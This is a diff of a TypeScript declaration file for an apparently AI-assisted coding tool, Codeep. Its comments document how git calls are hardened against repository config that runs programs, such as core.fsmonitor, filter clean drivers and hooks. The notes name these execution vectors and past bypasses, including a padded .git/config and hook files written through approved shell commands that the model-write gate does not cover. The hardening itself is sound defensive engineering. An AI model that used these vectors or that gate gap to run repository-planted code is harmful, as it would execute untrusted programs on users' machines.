+
* Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
|
|
131
|
+
* core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
|
|
132
|
+
* after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
|
|
133
|
+
* the scope-aware set, and `-c` is not a scope the scan can see at all.
|
|
21
134
|
*/
|
|
135
|
+
export declare function isExecutingConfigKey(key: string): boolean;
|
|
136
|
+
/**
|
|
137
|
+
* How many submodule configs one call will read, and how far the enumeration
|
|
138
|
+
* follows submodules of submodules.
|
|
139
|
+
*
|
|
140
|
+
* Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
|
|
141
|
+
* many submodules, nested as deeply, as whoever prepared it liked. Past
|
|
142
|
+
* either one the call is REFUSED rather than partly scanned: "we looked at
|
|
143
|
+
* some of your submodules" is a fail-open dressed as a limit. Every other
|
|
144
|
+
* bound in this pass throws for the same reason, which is the half that used
|
|
145
|
+
* to be missing — the depth guard and the directory-read failure both used
|
|
146
|
+
* to `return`, so a tree nested one level too deep, or a `.git/modules` we
|
|
147
|
+
* had no permission to read, silently became "this repository has no
|
|
148
|
+
* submodules".
|
|
149
|
+
*
|
|
150
|
+
* The count was 512, and that was a wall rather than a backstop: a
|
|
151
|
+
* superproject past it was refused forever, with a message naming nothing
|
|
152
|
+
* the user could change. 2048 is an order of magnitude past the largest real
|
|
153
|
+
* superproject, so only a tree built to reach it does. It is not raised
|
|
154
|
+
* further because every config read is one more `-c include.path=` argument
|
|
155
|
+
* on one command line, and a Windows command line stops at 32KB; and the
|
|
156
|
+
* message now names the two things that get the user moving again.
|
|
157
|
+
*/
|
|
158
|
+
export declare const MAX_SUBMODULE_CONFIGS = 2048;
|
|
159
|
+
export interface HardenedGitEnvOptions {
|
|
160
|
+
/**
|
|
161
|
+
* The repository the git call will run in — the same `cwd` the spawn gets.
|
|
162
|
+
* Its config is scanned so repo-supplied programs can be neutralised, so a
|
|
163
|
+
* caller that passes the wrong one gets the wrong repository's protection.
|
|
164
|
+
*/
|
|
165
|
+
cwd?: string;
|
|
166
|
+
/**
|
|
167
|
+
* Disable the repository's hooks. Only for the commands Codeep runs BY
|
|
168
|
+
* ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
|
|
169
|
+
* never asked for a hook to run. Commands the user triggered (`/commit`,
|
|
170
|
+
* `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
|
|
171
|
+
* lint-staged, commit-signing hooks and Codeep's own review hook run
|
|
172
|
+
* exactly as they would in the user's terminal.
|
|
173
|
+
*
|
|
174
|
+
* What justifies leaving them on is the approval, not a claim that a hook
|
|
175
|
+
* cannot get onto disk. The user asked for this commit or this checkout, so
|
|
176
|
+
* the repository's hooks run for it exactly as they would if they had typed
|
|
177
|
+
* the command themselves — and that is the whole argument. The write gate
|
|
178
|
+
* in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
|
|
179
|
+
* with write_file; it does not, and does not claim to, cover a shell
|
|
180
|
+
* command the user approved, where `node setup.cjs`, `cp`, `tee` or a
|
|
181
|
+
* redirect writes the same file with nothing to prompt about (reproduced
|
|
182
|
+
* twice against git 2.54). See the comment above that gate, which says the
|
|
183
|
+
* same thing from the other side.
|
|
184
|
+
*/
|
|
185
|
+
noHooks?: boolean;
|
|
186
|
+
/**
|
|
187
|
+
* The environment to harden, defaulting to this process's. A caller with
|
|
188
|
+
* its own overrides must pass them HERE rather than spreading them over the
|
|
189
|
+
* result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
|
|
190
|
+
* every override above their count.
|
|
191
|
+
*/
|
|
192
|
+
base?: NodeJS.ProcessEnv;
|
|
193
|
+
}
|
|
194
|
+
/**
|
|
195
|
+
* The environment for a git child process, with every command-executing config
|
|
196
|
+
* key neutralised. Pass it to EVERY git spawn — including the read-only ones:
|
|
197
|
+
* `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
|
|
198
|
+
*
|
|
199
|
+
* It costs one `git config --list` plus one `git ls-files` per call —
|
|
200
|
+
* measured 13.6ms here in a plain repository at its root, 19.7ms in one with
|
|
201
|
+
* a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
|
|
202
|
+
* with none (see listSubmoduleConfig for where each part goes, and for why
|
|
203
|
+
* the index is read even in a repository that declares no submodules) — so build
|
|
204
|
+
* it ONCE per function and hand the same object to every spawn inside. There is
|
|
205
|
+
* deliberately no cache across calls: the scan's whole job is to notice what
|
|
206
|
+
* the repository's config says RIGHT NOW, and a hostile `.git/config` written
|
|
207
|
+
* after a cache warmed would be the one it failed to neutralise. Nothing needs
|
|
208
|
+
* one either — the only repeated caller, the status-line branch in
|
|
209
|
+
* renderer/main.ts, already caches its own result and re-reads only when the
|
|
210
|
+
* project moved or an agent run finished.
|
|
211
|
+
*
|
|
212
|
+
* Environment variables are the USER's, not the repository's, so this removes
|
|
213
|
+
* exactly one and leaves the rest:
|
|
214
|
+
*
|
|
215
|
+
* - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
|
|
216
|
+
* `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
|
|
217
|
+
* function (verified). Nothing sets it but git itself, for its own children.
|
|
218
|
+
* - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
|
|
219
|
+
* name programs, but ones the user exported for their own git. Codeep's diff
|
|
220
|
+
* reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
|
|
221
|
+
* - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
|
|
222
|
+
* because a hook exports them: the pre-commit hook Codeep installs runs
|
|
223
|
+
* `codeep review`, and `git diff --cached` there must read the hook's
|
|
224
|
+
* TEMPORARY index to see what is really being committed.
|
|
225
|
+
* - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
|
|
226
|
+
* are kept: the scan above runs under this same environment, so it sees
|
|
227
|
+
* whatever they make git see.
|
|
228
|
+
*
|
|
229
|
+
* Anyone who can set environment variables on this process already owns it.
|
|
230
|
+
*
|
|
231
|
+
* THROWS `GitHardeningError` rather than return a half-built environment when
|
|
232
|
+
* the config scan cannot complete, or when the repository named a program no
|
|
233
|
+
* override can switch off. The scan used to swallow every error and fall back
|
|
234
|
+
* to the always-on pairs alone, so a repository that padded its `.git/config`
|
|
235
|
+
* past the read buffer turned the entire repo-scope layer off in silence and
|
|
236
|
+
* ran its `filter.<d>.clean` on the next `git status`. Every caller in this
|
|
237
|
+
* file catches it and degrades: the status line loses its branch, `/commit`,
|
|
238
|
+
* `@git` and the review path show `error.message`, which is written for the
|
|
239
|
+
* user. A NEW caller has to do the same, or the refusal reaches them as a
|
|
240
|
+
* crash — and a caller inside a promise executor that does not catch it never
|
|
241
|
+
* settles at all.
|
|
242
|
+
*/
|
|
243
|
+
export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
|
|
244
|
+
/** A repository whose git Codeep is willing to run. Refusals answer `false`;
|
|
245
|
+
* callers that can show a reason use the functions below, which carry it. */
|
|
22
246
|
export declare function isGitRepository(cwd?: string): boolean;
|
|
23
247
|
/**
|
|
24
248
|
* Get current git status
|
|
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
|
|
|
28
252
|
* Get git diff (staged or unstaged)
|
|
29
253
|
*/
|
|
30
254
|
export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
|
|
255
|
+
export interface GitChangedFilesResult {
|
|
256
|
+
files: string[];
|
|
257
|
+
/**
|
|
258
|
+
* Why the list is empty because git would not run, rather than because
|
|
259
|
+
* nothing changed. The two read the same through getChangedFiles() below,
|
|
260
|
+
* and a caller that gates work on "are there changes?" — the review
|
|
261
|
+
* pipeline in utils/codeReview.ts does — would otherwise quietly review
|
|
262
|
+
* nothing in a repository whose config Codeep refuses to run git in.
|
|
263
|
+
*/
|
|
264
|
+
error?: string;
|
|
265
|
+
}
|
|
266
|
+
/**
|
|
267
|
+
* Get list of changed files, with the reason when there are none.
|
|
268
|
+
*/
|
|
269
|
+
export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
|
|
31
270
|
/**
|
|
32
|
-
* Get list of changed files
|
|
271
|
+
* Get list of changed files. Empty on any failure — see
|
|
272
|
+
* getChangedFilesResult() when the difference between "nothing changed" and
|
|
273
|
+
* "git was refused" matters.
|
|
33
274
|
*/
|
|
34
275
|
export declare function getChangedFiles(cwd?: string): string[];
|
|
35
276
|
/**
|
|
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
|
|
|
41
282
|
*/
|
|
42
283
|
export declare function createCommit(message: string, cwd?: string): GitCommitResult;
|
|
43
284
|
/**
|
|
44
|
-
* Stage all changes
|
|
285
|
+
* Stage all changes, with the reason when it did not happen.
|
|
286
|
+
*
|
|
287
|
+
* The reason matters most in a repository with a REQUIRED content filter —
|
|
288
|
+
* git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
|
|
289
|
+
* repo-scope layer empties that driver's `clean` command and deliberately
|
|
290
|
+
* leaves `required` alone, so git aborts with `fatal: <file>: clean filter
|
|
291
|
+
* '<d>' failed` and exit 128 rather than writing the unfiltered content. That
|
|
292
|
+
* is the intended outcome (see the filter rule above: the alternative was
|
|
293
|
+
* plaintext secrets in the object database), and it is only useful if the
|
|
294
|
+
* user gets to read it — `stdio: 'ignore'` here used to throw the sentence
|
|
295
|
+
* away and leave them with "Failed to stage changes".
|
|
296
|
+
*/
|
|
297
|
+
export declare function stageAllResult(cwd?: string): {
|
|
298
|
+
success: boolean;
|
|
299
|
+
error?: string;
|
|
300
|
+
};
|
|
301
|
+
/**
|
|
302
|
+
* Stage all changes. See stageAllResult() when the reason matters.
|
|
45
303
|
*/
|
|
46
304
|
export declare function stageAll(cwd?: string): boolean;
|
|
47
305
|
/**
|